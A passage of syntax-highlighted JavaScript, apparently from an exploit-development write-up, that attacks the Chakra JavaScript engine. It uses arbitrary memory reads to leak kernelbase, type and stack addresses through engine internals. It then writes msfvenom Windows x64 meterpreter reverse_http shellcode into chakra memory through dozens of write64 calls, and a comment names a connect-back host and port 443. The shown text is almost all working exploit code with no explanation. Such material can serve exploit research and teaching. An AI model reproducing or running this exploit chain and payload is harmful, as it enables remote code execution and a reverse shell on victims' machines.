    <span class="kd">var</span> <span class="nx">duplicateHandle</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernelbase.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Print update with our type pointer</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] type pointer: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mi">8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x430</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>

    <span class="c1">// Arbitrary read to get the threadContext pointer (offset 0x3b8)</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x5c0</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0</span>
    <span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360</span>
    <span class="c1">// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)</span>
    <span class="nx">stackleakPointer</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x8f8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack address! type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;leafInterpreterFrame: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Counter</span>
    <span class="kd">let</span> <span class="nx">countMe</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Helper function for counting</span>
    <span class="kd">function</span> <span class="nx">inc</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nx">countMe</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Shellcode (will be executed in JIT process)</span>
    <span class="c1">// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xe48348fc</span><span class="p">,</span> <span class="mh">0x00cce8f0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x51410000</span><span class="p">,</span> <span class="mh">0x51525041</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x56d23148</span><span class="p">,</span> <span class="mh">0x528b4865</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x528b4860</span><span class="p">,</span> <span class="mh">0x528b4818</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc9314d20</span><span class="p">,</span> <span class="mh">0x50728b48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4ab70f48</span><span class="p">,</span> <span class="mh">0xc031484a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x7c613cac</span><span class="p">,</span> <span class="mh">0x41202c02</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x410dc9c1</span><span class="p">,</span> <span class="mh">0xede2c101</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x528b4852</span><span class="p">,</span> <span class="mh">0x8b514120</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x01483c42</span><span class="p">,</span> <span class="mh">0x788166d0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0f020b18</span><span class="p">,</span> <span class="mh">0x00007285</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x88808b00</span><span class="p">,</span> <span class="mh">0x48000000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x6774c085</span><span class="p">,</span> <span class="mh">0x44d00148</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5020408b</span><span class="p">,</span> <span class="mh">0x4918488b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x56e3d001</span><span class="p">,</span> <span class="mh">0x41c9ff48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4d88348b</span><span class="p">,</span> <span class="mh">0x0148c931</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc03148d6</span><span class="p">,</span> <span class="mh">0x0dc9c141</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc10141ac</span><span class="p">,</span> <span class="mh">0xf175e038</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x244c034c</span><span class="p">,</span> <span class="mh">0xd1394508</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4458d875</span><span class="p">,</span> <span class="mh">0x4924408b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4166d001</span><span class="p">,</span> <span class="mh">0x44480c8b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x491c408b</span><span class="p">,</span> <span class="mh">0x8b41d001</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x01488804</span><span class="p">,</span> <span class="mh">0x415841d0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5a595e58</span><span class="p">,</span> <span class="mh">0x59415841</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x83485a41</span><span class="p">,</span> <span class="mh">0x524120ec</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4158e0ff</span><span class="p">,</span> <span class="mh">0x8b485a59</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xff4be912</span><span class="p">,</span> <span class="mh">0x485dffff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4953db31</span><span class="p">,</span> <span class="mh">0x6e6977be</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x74656e69</span><span class="p">,</span> <span class="mh">0x48564100</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc749e189</span><span class="p">,</span> <span class="mh">0x26774cc2</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53d5ff07</span><span class="p">,</span> <span class="mh">0xe1894853</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x314d5a53</span><span class="p">,</span> <span class="mh">0xc9314dc0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xba495353</span><span class="p">,</span> <span class="mh">0xa779563a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x0ee8d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x31000000</span><span class="p">,</span> <span class="mh">0x312e3237</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x35352e36</span><span class="p">,</span> <span class="mh">0x3539312e</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89485a00</span><span class="p">,</span> <span class="mh">0xc0c749c1</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x000001bb</span><span class="p">,</span> <span class="mh">0x53c9314d</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53036a53</span><span class="p">,</span> <span class="mh">0x8957ba49</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0000c69f</span><span class="p">,</span> <span class="mh">0xd5ff0000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x000023e8</span><span class="p">,</span> <span class="mh">0x2d652f00</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x65503754</span><span class="p">,</span> <span class="mh">0x516f3242</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x58643452</span><span class="p">,</span> <span class="mh">0x6b47336c</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x67377674</span><span class="p">,</span> <span class="mh">0x4d576c79</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x3764757a</span><span class="p">,</span> <span class="mh">0x0078466a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53c18948</span><span class="p">,</span> <span class="mh">0x4d58415a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4853c931</span><span class="p">,</span> <span class="mh">0x280200b8</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000084</span><span class="p">,</span> <span class="mh">0x53535000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xebc2c749</span><span class="p">,</span> <span class="mh">0xff3b2e55</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc68948d5</span><span class="p">,</span> <span class="mh">0x535f0a6a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xf189485a</span><span class="p">,</span> <span class="mh">0x4dc9314d</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5353c931</span><span class="p">,</span> <span class="mh">0x2dc2c749</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xff7b1806</span><span class="p">,</span> <span class="mh">0x75c085d5</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc1c7481f</span><span class="p">,</span> <span class="mh">0x00001388</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xf044ba49</span><span class="p">,</span> <span class="mh">0x0000e035</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xd5ff0000</span><span class="p">,</span> <span class="mh">0x74cfff48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xe8cceb02</span><span class="p">,</span> <span class="mh">0x00000055</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x406a5953</span><span class="p">,</span> <span class="mh">0xd189495a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4910e2c1</span><span class="p">,</span> <span class="mh">0x1000c0c7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xba490000</span><span class="p">,</span> <span class="mh">0xe553a458</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x9348d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89485353</span><span class="p">,</span> <span class="mh">0xf18948e7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x49da8948</span><span class="p">,</span> <span class="mh">0x2000c0c7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89490000</span><span class="p">,</span> <span class="mh">0x12ba49f9</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00e28996</span><span class="p">,</span> <span class="mh">0xff000000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc48348d5</span><span class="p">,</span> <span class="mh">0x74c08520</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
